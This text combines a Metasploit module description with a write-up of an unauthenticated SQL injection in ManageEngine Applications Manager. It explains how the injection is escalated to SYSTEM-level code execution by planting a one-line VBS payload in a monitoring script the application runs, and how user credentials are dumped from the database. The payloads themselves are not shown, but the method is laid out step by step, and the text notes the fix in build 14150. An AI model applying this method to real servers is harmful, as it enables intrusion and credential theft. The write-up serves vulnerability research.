'Name' => "ManageEngine Applications Manager 11.0 < 14.0 SQL Injection / Remote Code Execution",
'Description' => %q(
This module exploits sql and command injection vulnerability in the ManageEngine AM 14 and prior versions.
An unauthenticated user can gain the authority of "system" on the server due to SQL injection vulnerability.
Exploit allows the writing of the desired file to the system using the postgesql structure.
Module is written over the payload by selecting a file with the extension ".vbs" that is used for monitoring
by the ManageEngine which working with "system" authority.
In addition, it dumps the users and passwords from the database for us.
Keep in mind! After the harmful ".vbs" file is written, the shell session may be a bit late.
Because the ManageEngine application should run this file itself.

let's check the log file
As you can see, the sqli works. The file path reflects the error.
If we specify the correct address for the web service, we can read the database table we want.
Payload:
After discovering the SQLi vulnerability, according to the information I have read about ManageEngine AM in OffSec documents, we can convert this vulnerability to RCE.
After reviewing the application, we see that some ".vbs" files belonging to ME work with "system" authority.
and the application calls these files at certain intervals.
If we can add a malicious part of the ".vbs" file that is actively running, we can receive a shell session from the server under the "system" authority.
We can use this payload:
As you can see, this process can be done easily with encoders in metasploit.
In addition, all the codes in the harmful VBS file must be written in a single line. That's why we fill all spaces with the ":" character.
You can examine this part from within the exploit.
As additional information "sid" is normally the GET parameter. But since we will send a large amount of data, we translate it as POST method.
A payload structure is sufficient for us as follows. We can send this payload to the server through the encode process.
We'll wait for the shell session to be sent to the harmful vbs file to "/script/" folder.
This may take some time. Because the ManageEngine application should call this file itself.
As you can see, we can open a backdoor in the system where we can run command.
The images of Exploit are listed below.
Fixed with Version 14 (14150 build)
